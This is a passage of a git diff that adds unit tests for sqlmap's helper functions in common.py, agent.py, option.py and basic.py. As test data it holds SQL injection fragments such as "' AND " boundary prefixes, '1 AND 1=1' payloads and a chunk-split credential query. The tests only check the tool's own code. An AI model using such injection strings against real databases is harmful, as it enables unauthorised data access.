self.assertGreater(len(set(seq)), 1) + + def test_seed_none(self): + r = WichmannHill() + r.seed() # seeds from os.urandom/time; must not raise + seq = [r.random() for _ in range(10)] + self.assertTrue(all(isinstance(x, float) and 0.0 <= x < 1.0 for x in seq)) + other = WichmannHill() + other.seed() + self.assertNotEqual(seq, [other.random() for _ in range(10)]) + + def test_seed_hashable(self): + # a non-int hashable seed goes through hash(a); two instances seeded with the same + # object in the same process must produce the same sequence (determinism). The literal + # values are NOT pinned because hash() of a str is randomized per process. + r1 = WichmannHill("a_string_seed") + r2 = WichmannHill("a_string_seed") + seq = [r1.random() for _ in range(10)] + self.assertEqual(seq, [r2.random() for _ in range(10)]) + self.assertTrue(all(0.0 <= x < 1.0 for x in seq)) + # a different seed must yield a different sequence + r3 = WichmannHill("different_seed") + self.assertNotEqual(seq, [r3.random() for _ in range(10)]) + + def test_setstate_bad_version(self): + r = WichmannHill() + with self.assertRaises(ValueError): + r.setstate((999, (1, 1, 1), None)) + + +class TestPatchHeaders(unittest.TestCase): + def test_patches_dict_to_header_obj(self): + h = patchHeaders({"Host": "example.com", "Content-Type": "text/html"}) + self.assertEqual(h["host"], "example.com") + self.assertEqual(h["content-type"], "text/html") + self.assertEqual(h.get("HOST"), "example.com") + self.assertIsNone(h.get("missing")) + self.assertIsNotNone(h.headers) + self.assertTrue(any("Host: example.com" in _ for _ in h.headers)) + + def test_passthrough_none(self): + self.assertIsNone(patchHeaders(None)) + + def test_passthrough_existing_headers_attr(self): + d = {"A": "1"} + d["headers"] = [] + result = patchHeaders(d) + self.assertEqual(result, d) # unchanged + + +class TestCmp(unittest.TestCase): + def test_less(self): + self.assertEqual(cmp("a", "b"), -1) + + def test_greater(self): + self.assertEqual(cmp(2, 1), 1) + + def test_equal(self): + self.assertEqual(cmp(5, 5), 0) + + +class TestRound(unittest.TestCase): + def test_positive(self): + self.assertEqual(round(2.0), 2.0) + self.assertEqual(round(2.5), 3.0) + self.assertEqual(round(2.499), 2.0) + + def test_negative(self): + self.assertEqual(round(-2.5), -3.0) + self.assertEqual(round(-2.0), -2.0) + + def test_with_decimals(self): + self.assertAlmostEqual(round(2.567, d=2), 2.57) + + +class TestCmpToKey(unittest.TestCase): + def test_sort_with_cmp(self): + items = [3, 1, 4, 1, 5] + key_func = cmp_to_key(lambda a, b: (a > b) - (a < b)) + self.assertEqual(sorted(items, key=key_func), [1, 1, 3, 4, 5]) + + def test_reverse_sort(self): + items = [3, 1, 2] + key_func = cmp_to_key(lambda a, b: (b > a) - (b < a)) + self.assertEqual(sorted(items, key=key_func), [3, 2, 1]) + + def test_hash_raises(self): + k = cmp_to_key(lambda a, b: 0)(5) + with self.assertRaises(TypeError): + hash(k) + + +class TestLooseVersion(unittest.TestCase): + def test_basic(self): + self.assertEqual(LooseVersion("1.0"), (1, 0)) + self.assertEqual(LooseVersion("1.0.1"), (1, 0, 1)) + + def test_comparison(self): + self.assertTrue(LooseVersion("1.0.1") > LooseVersion("1.0")) + self.assertTrue(LooseVersion("8.0.22") > LooseVersion("8.0.2")) + + def test_no_digits(self): + self.assertEqual(LooseVersion("alpha"), ()) + self.assertEqual(LooseVersion(""), ()) + self.assertEqual(LooseVersion(None), ()) + + def test_with_suffix(self): + self.assertEqual(LooseVersion("1.0alpha"), (1, 0)) + self.assertEqual(LooseVersion("10.5.3-beta"), (10, 5, 3)) + + +class TestIsWriteMode(unittest.TestCase): + def test_write_modes(self): + for mode in ("w", "a", "x", "w+", "a+", "x+", "w+b", "ab"): + self.assertTrue(_is_write_mode(mode), msg="mode %r" % mode) + + def test_read_modes(self): + for mode in ("r", "rb", ""): + self.assertFalse(_is_write_mode(mode), msg="mode %r" % mode) + + +class TestMixedWriteTextIO(unittest.TestCase): + def test_text_write(self): + buf = io.StringIO() + w = MixedWriteTextIO(buf, "utf-8", "strict") + w.write(u"hello") + self.assertEqual(buf.getvalue(), "hello") + + def test_bytes_write_decodes(self): + buf = io.StringIO() + w = MixedWriteTextIO(buf, "utf-8", "strict") + w.write(b"world") + self.assertEqual(buf.getvalue(), "world") + + def test_writelines(self): + buf = io.StringIO() + w = MixedWriteTextIO(buf, "utf-8", "strict") + w.writelines([u"a", u"b", u"c"]) + self.assertEqual(buf.getvalue(), "abc") + + def test_iterator(self): + buf = io.StringIO(u"line1\nline2\n") + w = MixedWriteTextIO(buf, "utf-8", "strict") + self.assertEqual(list(w), ["line1\n", "line2\n"]) + + def test_enter_exit(self): + buf = io.StringIO() + w = MixedWriteTextIO(buf, "utf-8", "strict") + with w as f: + f.write(u"test") + self.assertTrue(buf.closed) + + +class TestCodecsOpen(unittest.TestCase): + def test_no_encoding_returns_io_open(self): + tmp = tempfile.NamedTemporaryFile(mode='w', suffix='.txt', delete=False) + tmp.close() + try: + f = _codecs_open(tmp.name, "w", encoding=None) + f.write(u"test") + f.close() + with open(tmp.name) as fh: + self.assertIn("test", fh.read()) + finally: + os.unlink(tmp.name) + + def test_with_encoding(self): + tmp = tempfile.NamedTemporaryFile(mode='w', suffix='.txt', delete=False) + tmp.close() + try: + f = _codecs_open(tmp.name, "w", encoding="utf-8") + f.write(u"caf\xe9") + f.close() + with open(tmp.name, "rb") as fh: + self.assertIn(b"caf\xc3\xa9", fh.read()) + finally: + os.unlink(tmp.name) + + def test_with_encoding_and_bytes(self): + tmp = tempfile.NamedTemporaryFile(mode='w', suffix='.txt', delete=False) + tmp.close() + try: + f = _codecs_open(tmp.name, "w", encoding="utf-8") + # MixedWriteTextIO should accept bytes too + f.write(b"bytes_input") + f.close() + with open(tmp.name) as fh: + self.assertIn("bytes_input", fh.read()) + finally: + os.unlink(tmp.name) + + +class TestChooseBoundary(unittest.TestCase): + def test_length(self): + self.assertEqual(len(choose_boundary()), 32) + + def test_hex_chars(self): + b = choose_boundary() + self.assertTrue(all(c in "0123456789abcdef" for c in b)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_core_extra.py b/tests/test_core_extra.py new file mode 100644 index 000000000..5c1a5a282 --- /dev/null +++ b/tests/test_core_extra.py @@ -0,0 +1,676 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Additional REAL unit coverage for genuinely-uncovered PURE functions in: + + * lib/core/common.py + * lib/core/option.py + * lib/core/agent.py + * lib/request/basic.py + +Every test asserts a concrete, independently-reasoned known-correct value that +would FAIL if the function under test regressed. No isinstance-only checks, no +tautologies, no swallowed exceptions. + +Functions targeted here are deliberately DIFFERENT from those already exercised +by tests/test_common_utils.py, test_common_parsers.py, test_core_more.py, +test_core_final.py, test_option_setup.py, test_option_more.py, test_agent.py, +test_agent_dialects.py, test_decodepage.py and test_charset.py. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +from tests._testutils import bootstrap, set_dbms + +bootstrap() + +from lib.core.data import conf, kb +from lib.core.defaults import defaults +from lib.core.common import Backend +from lib.core.enums import DBMS + + +class TestCommonStringHelpers(unittest.TestCase): + """Small pure string/list/regex/encoding helpers in lib/core/common.py.""" + + def test_posix_to_nt_slashes(self): + from lib.core.common import posixToNtSlashes + self.assertEqual(posixToNtSlashes("C:/Windows"), "C:\\Windows") + self.assertEqual(posixToNtSlashes("a/b/c"), "a\\b\\c") + # falsy input returned unchanged + self.assertEqual(posixToNtSlashes(""), "") + self.assertIsNone(posixToNtSlashes(None)) + + def test_nt_to_posix_slashes(self): + from lib.core.common import ntToPosixSlashes + self.assertEqual(ntToPosixSlashes("C:\\Windows"), "C:/Windows") + self.assertEqual(ntToPosixSlashes("a\\b\\c"), "a/b/c") + self.assertEqual(ntToPosixSlashes(""), "") + + def test_is_hex_encoded_string(self): + from lib.core.common import isHexEncodedString + self.assertTrue(isHexEncodedString("DEADBEEF")) + self.assertTrue(isHexEncodedString("0x1234")) # 'x' is allowed by the regex + self.assertFalse(isHexEncodedString("test")) + self.assertFalse(isHexEncodedString("12 34")) # space breaks it + + def test_is_digit(self): + from lib.core.common import isDigit + self.assertTrue(isDigit("123456")) + self.assertFalse(isDigit("3b3")) + self.assertFalse(isDigit(u"\xb2")) # superscript-2: str.isdigit() True, isDigit False + self.assertFalse(isDigit("")) # empty -> no match + self.assertFalse(isDigit(None)) + + def test_sanitize_str(self): + from lib.core.common import sanitizeStr + self.assertEqual(sanitizeStr("foo\n\rbar"), "foo bar") + self.assertEqual(sanitizeStr("a\r\nb"), "a b") + self.assertEqual(sanitizeStr(None), "None") + + def test_filter_control_chars(self): + from lib.core.common import filterControlChars + self.assertEqual(filterControlChars("AND 1>(2+3)\n--"), "AND 1>(2+3) --") + # custom replacement character + self.assertEqual(filterControlChars("a\tb", replacement="_"), "a_b") + + def test_normalize_path(self): + from lib.core.common import normalizePath + self.assertEqual(normalizePath("//var///log/apache.log"), "/var/log/apache.log") + self.assertEqual(normalizePath("/a/b/../c"), "/a/c") + + def test_directory_path(self): + from lib.core.common import directoryPath + self.assertEqual(directoryPath("/var/log/apache.log"), "/var/log") + # no extension -> returned unchanged + self.assertEqual(directoryPath("/var/log"), "/var/log") + + def test_longest_common_prefix(self): + from lib.core.common import longestCommonPrefix + self.assertEqual(longestCommonPrefix("foobar", "fobar"), "fo") + self.assertEqual(longestCommonPrefix("abc", "abd", "abe"), "ab") + # single sequence returned verbatim + self.assertEqual(longestCommonPrefix("only"), "only") + + def test_first_not_none(self): + from lib.core.common import firstNotNone + self.assertEqual(firstNotNone(None, None, 1, 2, 3), 1) + self.assertEqual(firstNotNone(None, 0), 0) # 0 is not None + self.assertIsNone(firstNotNone(None, None)) + + def test_decode_string_escape(self): + from lib.core.common import decodeStringEscape + self.assertEqual(decodeStringEscape("a\\tb"), "a\tb") + self.assertEqual(decodeStringEscape("a\\nb"), "a\nb") + # no backslash -> unchanged + self.assertEqual(decodeStringEscape("plain"), "plain") + + def test_encode_string_escape(self): + from lib.core.common import encodeStringEscape + self.assertEqual(encodeStringEscape("a\tb"), "a\\tb") + self.assertEqual(encodeStringEscape("a\nb"), "a\\nb") + self.assertEqual(encodeStringEscape("plain"), "plain") + + def test_decode_encode_string_escape_roundtrip(self): + from lib.core.common import decodeStringEscape, encodeStringEscape + self.assertEqual(decodeStringEscape(encodeStringEscape("x\ty\nz")), "x\ty\nz") + + def test_escape_json_value(self): + from lib.core.common import escapeJsonValue + # newline gets escaped (literal '\n' becomes the two chars backslash+n) + self.assertNotIn("\n", escapeJsonValue("foo\nbar")) + self.assertIn("\\n", escapeJsonValue("foo\nbar")) + # tab gets escaped to '\t' + self.assertIn("\\t", escapeJsonValue("foo\tbar")) + # quote and backslash escaped + self.assertEqual(escapeJsonValue('a"b'), 'a\\"b') + self.assertEqual(escapeJsonValue("a\\b"), "a\\\\b") + # ordinary characters untouched + self.assertEqual(escapeJsonValue("plain text"), "plain text") + + def test_clean_query(self): + from lib.core.common import cleanQuery + self.assertEqual(cleanQuery("select id from users"), "SELECT id FROM users") + # already-uppercase keywords stay; identifiers untouched + self.assertEqual(cleanQuery("SELECT a FROM t"), "SELECT a FROM t") + + def test_json_minimize_canonical(self): + from lib.core.common import jsonMinimize + # key order / whitespace independence + self.assertEqual(jsonMinimize('{"b": 2, "a": 1}'), jsonMinimize('{"a":1, "b":2}')) + # nested leaf path + self.assertEqual(jsonMinimize('{"a": {"b": 1}}'), ".a.b=1") + # empty object + self.assertEqual(jsonMinimize("{}"), "") + # not parseable -> None (and only None) + self.assertIsNone(jsonMinimize("not json")) + + def test_json_minimize_array_length_registers(self): + from lib.core.common import jsonMinimize + # array length change must perturb the projection + self.assertNotEqual(jsonMinimize('{"a": [1, 2]}'), jsonMinimize('{"a": [1, 2, 3]}')) + + def test_list_to_str_value(self): + from lib.core.common import listToStrValue + self.assertEqual(listToStrValue([1, 2, 3]), "1, 2, 3") + # set/tuple/generator normalized via list first + self.assertEqual(listToStrValue((1, 2)), "1, 2") + # non-list passes through + self.assertEqual(listToStrValue("abc"), "abc") + + def test_intersect(self): + from lib.core.common import intersect + self.assertEqual(intersect([1, 2, 3], set([1, 3])), [1, 3]) + # order follows containerA + self.assertEqual(intersect([3, 2, 1], [1, 2]), [2, 1]) + # case-insensitive option + self.assertEqual(intersect(["FOO", "bar"], ["foo"], lowerCase=True), ["foo"]) + + def test_priority_sort_columns(self): + from lib.core.common import prioritySortColumns + # 'id'-containing columns first, then by ascending length + self.assertEqual( + prioritySortColumns(["password", "userid", "name", "id"]), + ["id", "userid", "name", "password"], + ) + + def test_safe_variable_naming(self): + from lib.core.common import safeVariableNaming + self.assertEqual(safeVariableNaming("class.id"), "EVAL_636c6173732e6964") + # plain identifier left untouched + self.assertEqual(safeVariableNaming("foobar"), "foobar") + + def test_unsafe_variable_naming(self): + from lib.core.common import unsafeVariableNaming + self.assertEqual(unsafeVariableNaming("EVAL_636c6173732e6964"), "class.id") + self.assertEqual(unsafeVariableNaming("foobar"), "foobar") + + def test_variable_naming_roundtrip(self): + from lib.core.common import safeVariableNaming, unsafeVariableNaming + self.assertEqual(unsafeVariableNaming(safeVariableNaming("a-b")), "a-b") + + def test_average(self): + from lib.core.common import average + self.assertAlmostEqual(average([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]), 0.9, places=6) + self.assertEqual(average([2, 4]), 3.0) + self.assertIsNone(average([])) + + def test_stdev(self): + from lib.core.common import stdev + self.assertEqual("%.3f" % stdev([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]), "0.063") + # fewer than 2 values -> None + self.assertIsNone(stdev([1.0])) + self.assertIsNone(stdev([])) + + +class TestCommonSafeCompare(unittest.TestCase): + """Constant-time / checksum helpers.""" + + def test_safe_compare_strings(self): + from lib.core.common import safeCompareStrings + self.assertTrue(safeCompareStrings("test", "test")) + self.assertFalse(safeCompareStrings("test1", "test2")) + self.assertFalse(safeCompareStrings("test", None)) + # both None compares equal (a == b path) + self.assertTrue(safeCompareStrings(None, None)) + + def test_safe_cs_value(self): + from lib.core.common import safeCSValue + # ensure deterministic delimiter + old = conf.get("csvDel") + conf.csvDel = defaults.csvDel + try: + self.assertEqual(safeCSValue("foo, bar"), '"foo, bar"') + self.assertEqual(safeCSValue("foobar"), "foobar") + self.assertEqual(safeCSValue("foo\rbar"), '"foo\rbar"') + self.assertEqual(safeCSValue('foo"bar'), '"foo""bar"') + finally: + conf.csvDel = old + + +class TestCommonSafeExString(unittest.TestCase): + def test_sqlmap_exception_message(self): + from lib.core.common import getSafeExString + from lib.core.exception import SqlmapBaseException + self.assertEqual(getSafeExString(SqlmapBaseException("foobar")), "foobar") + + def test_oserror_prefixed_with_type(self): + from lib.core.common import getSafeExString + self.assertEqual(getSafeExString(OSError(0, "foobar")), "OSError: foobar") + + def test_generic_value_error(self): + from lib.core.common import getSafeExString + self.assertEqual(getSafeExString(ValueError("bad input")), "ValueError: bad input") + + +class TestCommonHostHeader(unittest.TestCase): + def test_plain_host(self): + from lib.core.common import getHostHeader + self.assertEqual(getHostHeader("http://www.target.com/vuln.php?id=1"), "www.target.com") + + def test_default_port_stripped(self): + from lib.core.common import getHostHeader + self.assertEqual(getHostHeader("http://www.target.com:80/x"), "www.target.com") + self.assertEqual(getHostHeader("https://www.target.com:443/x"), "www.target.com") + + def test_nondefault_port_kept(self): + from lib.core.common import getHostHeader + self.assertEqual(getHostHeader("http://www.target.com:8080/x"), "www.target.com:8080") + + def test_ipv6_brackets(self): + from lib.core.common import getHostHeader + self.assertEqual(getHostHeader("http://[::1]:8080/vuln.php?id=1"), "[::1]:8080") + self.assertEqual(getHostHeader("http://[::1]/vuln.php?id=1"), "[::1]") + + +class TestCommonCheckSameHost(unittest.TestCase): + def test_same_host(self): + from lib.core.common import checkSameHost + self.assertTrue(checkSameHost( + "http://www.target.com/page1.php?id=1", + "http://www.target.com/images/page2.php", + )) + + def test_different_host(self): + from lib.core.common import checkSameHost + self.assertFalse(checkSameHost( + "http://www.target.com/page1.php?id=1", + "http://www.target2.com/images/page2.php", + )) + + def test_www_prefix_ignored(self): + from lib.core.common import checkSameHost + # leading 'www.' is stripped before comparison + self.assertTrue(checkSameHost("http://www.target.com/a", "http://target.com/b")) + + def test_single_url_true_and_empty_none(self): + from lib.core.common import checkSameHost + self.assertTrue(checkSameHost("http://only.com/a")) + self.assertIsNone(checkSameHost()) + + +class TestCommonUrldecode(unittest.TestCase): + def test_convall_true(self): + from lib.core.common import urldecode + self.assertEqual(urldecode("AND%201%3E%282%2B3%29%23", convall=True), "AND 1>(2+3)#") + + def test_convall_false_keeps_unsafe(self): + from lib.core.common import urldecode + # %2B (plus) is in the default 'unsafe' set so it stays encoded when convall=False + self.assertEqual(urldecode("AND%201%3E%282%2B3%29%23", convall=False), "AND 1>(2%2B3)#") + + def test_bytes_input(self): + from lib.core.common import urldecode + self.assertEqual(urldecode(b"AND%201%3E%282%2B3%29%23", convall=False), "AND 1>(2%2B3)#") + + def test_spaceplus(self): + from lib.core.common import urldecode + # with spaceplus the '+' becomes a space + self.assertEqual(urldecode("a+b", convall=False, spaceplus=True), "a b") + # without spaceplus the '+' stays + self.assertEqual(urldecode("a+b", convall=False, spaceplus=False), "a+b") + + +class TestCommonChunkSplit(unittest.TestCase): + def test_chunk_split_post_data(self): + import random + from lib.core.common import chunkSplitPostData + from lib.core.patch import unisonRandom + # The pinned docstring value is produced under sqlmap's cross-version PRNG; install it + # (then restore the stdlib functions) so the expectation is deterministic here too. + _saved = (random.choice, random.randint, random.sample, random.seed) + unisonRandom() + try: + random.seed(0) + expected = ('5;4Xe90\r\nSELEC\r\n3;irWlc\r\nT u\r\n1;eT4zO\r\ns\r\n' + '5;YB4hM\r\nernam\r\n9;2pUD8\r\ne,passwor\r\n3;mp07y\r\nd F\r\n' + '5;8RKXi\r\nROM u\r\n4;MvMhO\r\nsers\r\n0\r\n\r\n') + self.assertEqual(chunkSplitPostData("SELECT username,password FROM users"), expected) + finally: + random.choice, random.randint, random.sample, random.seed = _saved + + def test_chunk_split_terminator(self): + import random + from lib.core.common import chunkSplitPostData + random.seed(123) + # regardless of content, the chunked stream must end with the zero-length terminator + self.assertTrue(chunkSplitPostData("abc").endswith("0\r\n\r\n")) + + +class TestCommonDecodeIntToUnicode(unittest.TestCase): + def tearDown(self): + set_dbms(None) + + def test_basic_ascii(self): + from lib.core.common import decodeIntToUnicode + self.assertEqual(decodeIntToUnicode(35), "#") + self.assertEqual(decodeIntToUnicode(64), "@") + self.assertEqual(decodeIntToUnicode(65), "A") + + def test_non_int_passthrough(self): + from lib.core.common import decodeIntToUnicode + # non-int is returned unchanged + self.assertEqual(decodeIntToUnicode("x"), "x") + + def test_pgsql_high_codepoint(self): + from lib.core.common import decodeIntToUnicode + set_dbms(DBMS.PGSQL) + # value > 255 on PGSQL takes the _unichr(value) branch + self.assertEqual(decodeIntToUnicode(0x2122), u"™") + + +class TestCommonDecodeDbmsHex(unittest.TestCase): + def setUp(self): + self._old_binary = kb.binaryField + kb.binaryField = False + + def tearDown(self): + kb.binaryField = self._old_binary + set_dbms(None) + + def test_plain_hex(self): + from lib.core.common import decodeDbmsHexValue + self.assertEqual(decodeDbmsHexValue("3132332031"), u"123 1") + + def test_odd_length_appends_question_mark(self): + from lib.core.common import decodeDbmsHexValue + self.assertEqual(decodeDbmsHexValue("313233203"), u"123 ?") + + def test_list_input(self): + from lib.core.common import decodeDbmsHexValue + self.assertEqual(decodeDbmsHexValue(["0x31", "0x32"]), [u"1", u"2"]) + + def test_non_hex_passthrough(self): + from lib.core.common import decodeDbmsHexValue + self.assertEqual(decodeDbmsHexValue("5.1.41"), u"5.1.41") + + +class TestCommonUnsafeSQLIdentificator(unittest.TestCase): + def tearDown(self): + set_dbms(None) + + def test_mssql_brackets(self): + from lib.core.common import unsafeSQLIdentificatorNaming + from lib.core.common import getText + set_dbms(DBMS.MSSQL) + self.assertEqual(getText(unsafeSQLIdentificatorNaming("[begin]")), "begin") + self.assertEqual(getText(unsafeSQLIdentificatorNaming("foobar")), "foobar") + + def test_mysql_backticks(self): + from lib.core.common import unsafeSQLIdentificatorNaming, getText + set_dbms(DBMS.MYSQL) + self.assertEqual(getText(unsafeSQLIdentificatorNaming("`col`")), "col") + + def test_oracle_uppercases(self): + from lib.core.common import unsafeSQLIdentificatorNaming, getText + set_dbms(DBMS.ORACLE) + # Oracle strips double quotes and uppercases + self.assertEqual(getText(unsafeSQLIdentificatorNaming('"name"')), "NAME") + + +class TestCommonParseSqliteSchema(unittest.TestCase): + def setUp(self): + self._old_cached = kb.data.get("cachedColumns") + self._old_db = conf.db + self._old_tbl = conf.tbl + kb.data.cachedColumns = {} + conf.db = "SQLITE_MASTER" + conf.tbl = "users" + + def tearDown(self): + kb.data.cachedColumns = self._old_cached + conf.db = self._old_db + conf.tbl = self._old_tbl + + def test_simple_schema(self): + from lib.core.common import parseSqliteTableSchema + self.assertTrue(parseSqliteTableSchema( + "CREATE TABLE users(\n\t\tid INTEGER,\n\t\tname TEXT\n);")) + cols = kb.data.cachedColumns[conf.db][conf.tbl] + self.assertEqual(tuple(cols.items()), (("id", "INTEGER"), ("name", "TEXT"))) + + def test_constraints_skipped(self): + from lib.core.common import parseSqliteTableSchema + self.assertTrue(parseSqliteTableSchema( + "CREATE TABLE suppliers(\n\tsupplier_id INTEGER PRIMARY KEY DESC,\n\tname TEXT NOT NULL\n);")) + cols = kb.data.cachedColumns[conf.db][conf.tbl] + self.assertEqual(tuple(cols.items()), (("supplier_id", "INTEGER"), ("name", "TEXT"))) + + +class TestAgentPure(unittest.TestCase): + """Pure agent.py methods independent of full injection state.""" + + @classmethod + def setUpClass(cls): + from lib.core.agent import agent + cls.agent = agent + + def tearDown(self): + set_dbms(None) + + def test_get_comment_present(self): + from lib.core.datatype import AttribDict + request = AttribDict() + request.comment = "-- foo" + self.assertEqual(self.agent.getComment(request), "-- foo") + + def test_get_comment_absent(self): + from lib.core.datatype import AttribDict + request = AttribDict() + self.assertEqual(self.agent.getComment(request), "") + + def test_add_payload_delimiters(self): + from lib.core.settings import PAYLOAD_DELIMITER + value = "1 AND 1=1" + result = self.agent.addPayloadDelimiters(value) + self.assertEqual(result, "%s%s%s" % (PAYLOAD_DELIMITER, value, PAYLOAD_DELIMITER)) + # falsy value returned unchanged + self.assertEqual(self.agent.addPayloadDelimiters(""), "") + + def test_remove_payload_delimiters_roundtrip(self): + self.assertEqual( + self.agent.removePayloadDelimiters(self.agent.addPayloadDelimiters("1 AND 1=1")), + "1 AND 1=1", + ) + + def test_extract_payload(self): + wrapped = "prefix" + self.agent.addPayloadDelimiters("1 AND 1=1") + "suffix" + self.assertEqual(self.agent.extractPayload(wrapped), "1 AND 1=1") + + def test_replace_payload(self): + wrapped = "prefix" + self.agent.addPayloadDelimiters("OLD") + "suffix" + replaced = self.agent.replacePayload(wrapped, "NEW") + self.assertEqual(self.agent.extractPayload(replaced), "NEW") + # surrounding text preserved + self.assertTrue(replaced.startswith("prefix")) + self.assertTrue(replaced.endswith("suffix")) + + def test_simple_concatenate_mysql(self): + set_dbms(DBMS.MYSQL) + # MySQL concatenate query template is 'CONCAT(%s,%s)' + self.assertEqual(self.agent.simpleConcatenate("a", "b"), "CONCAT(a,b)") + + def test_hex_convert_field_mysql(self): + set_dbms(DBMS.MYSQL) + # MySQL hex template is 'HEX(%s)' + self.assertEqual(self.agent.hexConvertField("col"), "HEX(col)") + + def test_get_fields_select_from(self): + set_dbms(DBMS.MYSQL) + result = self.agent.getFields("SELECT a, b FROM users") + fieldsToCastList = result[5] + fieldsToCastStr = result[6] + self.assertEqual(fieldsToCastStr, "a, b") + self.assertEqual(fieldsToCastList, ["a", "b"]) + + def test_get_fields_no_from(self): + set_dbms(DBMS.MYSQL) + # a bare SELECT without FROM -> fieldsSelectFrom is None, casts the whole select list + result = self.agent.getFields("SELECT 1") + fieldsSelectFrom = result[0] + self.assertIsNone(fieldsSelectFrom) + self.assertEqual(result[6], "1") + + +class TestAgentWhereQuery(unittest.TestCase): + @classmethod + def setUpClass(cls): + from lib.core.agent import agent + cls.agent = agent + + def setUp(self): + self._old_dumpWhere = conf.dumpWhere + self._old_tbl = conf.tbl + conf.tbl = None + + def tearDown(self): + conf.dumpWhere = self._old_dumpWhere + conf.tbl = self._old_tbl + set_dbms(None) + + def test_no_dumpwhere_passthrough(self): + conf.dumpWhere = None + query = "SELECT a FROM t" + self.assertEqual(self.agent.whereQuery(query), query) + + def test_appends_where_clause(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = "id>0" + # no existing WHERE -> appends ' WHERE id>0' + self.assertEqual(self.agent.whereQuery("SELECT a FROM t"), "SELECT a FROM t WHERE id>0") + + def test_and_when_where_present(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = "id>0" + # existing WHERE -> appended with AND + self.assertEqual( + self.agent.whereQuery("SELECT a FROM t WHERE x=1"), + "SELECT a FROM t WHERE x=1 AND id>0", + ) + + def test_splices_before_order_by(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = "id>0" + # WHERE must be spliced before the trailing ORDER BY suffix + self.assertEqual( + self.agent.whereQuery("SELECT a FROM t ORDER BY a"), + "SELECT a FROM t WHERE id>0 ORDER BY a", + ) + + +class TestBasicHeuristicCharEncoding(unittest.TestCase): + def test_ascii(self): + from lib.request.basic import getHeuristicCharEncoding + self.assertEqual(getHeuristicCharEncoding(b""), "ascii") + + def test_cache_hit_returns_same(self): + from lib.request.basic import getHeuristicCharEncoding + page = b"hello world" + first = getHeuristicCharEncoding(page) + # second call for identical page must come back identical (and from cache) + self.assertEqual(getHeuristicCharEncoding(page), first) + key = (len(page), hash(page)) + self.assertEqual(kb.cache.encoding.get(key), first) + + +class TestBasicDecodePage(unittest.TestCase): + """decodePage charset + HTML-entity decoding branches.""" + + def setUp(self): + self._old_encoding = conf.encoding + self._old_null = conf.nullConnection + conf.nullConnection = False + + def tearDown(self): + conf.encoding = self._old_encoding + conf.nullConnection = self._old_null + + def test_html_entity_amp(self): + from lib.request.basic import decodePage + from lib.core.common import getText + conf.encoding = None + self.assertEqual( + getText(decodePage(b"foo&bar", None, "text/html; charset=utf-8")), + "foo&bar", + ) + + def test_numeric_hex_entity_tab(self): + from lib.request.basic import decodePage + from lib.core.common import getText + conf.encoding = None + self.assertEqual(getText(decodePage(b" ", None, "text/html; charset=utf-8")), "\t") + + def test_numeric_hex_entity_letter(self): + from lib.request.basic import decodePage + from lib.core.common import getText + conf.encoding = None + self.assertEqual(getText(decodePage(b"J", None, "text/html; charset=utf-8")), "J") + + def test_unicode_entity(self): + from lib.request.basic import decodePage + conf.encoding = None + self.assertEqual(decodePage(b"™", None, "text/html; charset=utf-8"), u"™") + + def test_empty_page(self): + from lib.request.basic import decodePage + from lib.core.common import getText + # empty page short-circuits to getUnicode(page) + self.assertEqual(getText(decodePage(b"", None, "text/html")), "") + + +class TestOptionSetPrefixSuffix(unittest.TestCase): + """_setPrefixSuffix boundary construction (pure conf-mutation, no I/O).""" + + def setUp(self): + self._saved = {k: conf.get(k) for k in ("prefix", "suffix", "boundaries")} + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + + def _run(self, prefix, suffix): + from lib.core.option import _setPrefixSuffix + conf.prefix = prefix + conf.suffix = suffix + conf.boundaries = None + _setPrefixSuffix() + return conf.boundaries + + def test_none_no_boundary(self): + # when either prefix or suffix is None, no boundary is created + self.assertIsNone(self._run(None, None)) + + def test_single_quote_ptype(self): + boundaries = self._run("' AND ", "'") + self.assertEqual(len(boundaries), 1) + b = boundaries[0] + self.assertEqual(b.prefix, "' AND ") + self.assertEqual(b.suffix, "'") + self.assertEqual(b.ptype, 2) # single-quote, no LIKE + self.assertEqual(b.level, 1) + self.assertEqual(b.clause, [0]) + + def test_double_quote_ptype(self): + boundaries = self._run('" AND ', '"') + self.assertEqual(boundaries[0].ptype, 4) # double-quote, no LIKE + + def test_numeric_ptype(self): + boundaries = self._run(" AND ", "") + self.assertEqual(boundaries[0].ptype, 1) # no quoting + + def test_like_single_quote_ptype(self): + boundaries = self._run("' AND ", "' like '%") + self.assertEqual(boundaries[0].ptype, 3) # LIKE with single quote + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_core_final.py b/tests/test_core_final.py new file mode 100644 index 000000000..1e1119a48 --- /dev/null +++ b/tests/test_core_final.py @@ -0,0 +1,605 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Additional unit coverage for lib/core/common.py, lib/core/option.py and +lib/core/target.py, targeting *pure* (or near-pure) functions and branches NOT +already exercised by the existing test modules: + + * tests/test_common_utils.py / test_common_parsers.py / test_core_more.py + * tests/test_option_setup.py / test_option_more.py + * tests/test_target_parsing.py + +This file instead covers (common.py): + + boldifyMessage, calculateDeltaSeconds, commonFinderOnly, + enumValueToNameLookup, extractErrorMessage, filePathToSafeString, + isWindowsDriveLetterPath, cleanReplaceUnicode, trimAlphaNum, + removePostHintPrefix, safeExpandUser, safeFilepathEncode, + serializeObject/unserializeObject, applyFunctionRecursively, + extractExpectedValue, getHeader, getRequestHeader, parseJson, + parsePasswordHash, findMultipartPostBoundary, setTechnique/getTechnique, + extractRegexResult, extractTextTagContent, getFilteredPageContent, + checkFile, listToStrValue, intersect, isZipFile, checkOldOptions. + +(option.py): + + _setHTTPAuthentication (basic/ntlm/bearer/pki + error branches), + _setWriteFile, _setHTTPTimeout, _setAuthCred. + +Everything runs in isolation: no network, no DBMS, no persistent filesystem +mutation. All mutated conf/kb/Backend/socket state is snapshotted and restored. +""" + +import os +import socket +import sys +import tempfile +import unittest + +sys.path.insert(0, 